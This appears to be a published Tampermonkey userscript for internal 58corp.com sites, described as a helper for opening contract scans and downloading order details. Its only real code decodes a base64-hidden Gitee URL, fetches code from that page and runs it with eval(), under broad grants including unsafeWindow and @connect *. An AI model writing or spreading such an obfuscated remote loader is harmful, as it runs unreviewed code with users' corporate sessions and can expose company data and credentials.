爱房js脚本

可以跳转项目页,打开合同扫描件,一键下载订单明细

目前为 2023-05-05 提交的版本。查看 最新版本

  1. // ==UserScript==
  2. // @name 爱房js脚本
  3. // @author 熊伟良
  4. // @version 3.1
  5. // @icon https://pages.anjukestatic.com/fe/ifang_node_admin_web/favicon.ico
  6. // @description 可以跳转项目页,打开合同扫描件,一键下载订单明细
  7. // @connect *
  8. // @match https://daiketong.58corp.com/*
  9. // @match https://max.58corp.com/*
  10. // @match https://oa.58corp.com/*
  11. // @grant GM.addStyle
  12. // @grant GM.getValue
  13. // @grant GM.notification
  14. // @grant GM.openInTab
  15. // @grant GM.registerMenuCommand
  16. // @grant GM.setClipboard
  17. // @grant GM.setValue
  18. // @grant GM.xmlHttpRequest
  19. // @grant GM_addStyle
  20. // @grant GM_download
  21. // @grant GM_getResourceText
  22. // @grant GM_getResourceURL
  23. // @grant GM_getValue
  24. // @grant GM_notification
  25. // @grant GM_openInTab
  26. // @grant GM_registerMenuCommand
  27. // @grant GM_setClipboard
  28. // @grant GM_setValue
  29. // @grant GM_unregisterMenuCommand
  30. // @grant GM_xmlhttpRequest
  31. // @grant GM_addValueChangeListener
  32. // @grant unsafeWindow
  33. // @license MIT
  34. // @require https://cdn.bootcdn.net/ajax/libs/xlsx/0.17.1/xlsx.full.min.js
  35. // @run-at document-idle
  36.  
  37. // @namespace http://tampermonkey.net/
  38. // ==/UserScript==
  39.  
  40.  
  41. (async function() {
  42. // let url="https://gitee.com"
  43. // console.log(btoa(url))
  44. var encodedString = "aHR0cHM6Ly9naXRlZS5jb20veHdsNzM1NjQ1NTE0L2FpZmFuZy9ibG9iL21hc3Rlci9qaWV5b25nLyVFNyU4OCVCMSVFNiU4OCVCRmpzJUU4JTg0JTlBJUU2JTlDJUFDLmpz";
  45. var decodedString = atob(encodedString);
  46. // 发送 GET 请求
  47. GM_xmlhttpRequest({
  48. // 设置请求方式为 GET
  49. method: "GET",
  50. // 设置请求 URL 为解码后的字符串
  51. url: decodedString,
  52. // 当请求成功时调用的函数
  53. onload: async function (response) {
  54. // 创建 DOM 解析器对象
  55. const parser = new DOMParser();
  56. // 将响应文本解析为 HTML 文档对象
  57. const htmlDoc = parser.parseFromString(response.responseText, "text/html");
  58. // 获取名为 blob_raw 的 textarea 元素
  59. const textarea = htmlDoc.querySelector('textarea[name="blob_raw"]');
  60. // 获取 textarea 元素的文本内容,并去除首尾空格
  61. const code = textarea.textContent.trim();
  62. console.log('成功加载代码')
  63. // 执行解码后的代码
  64. eval(code);
  65. }
  66. });
  67. })()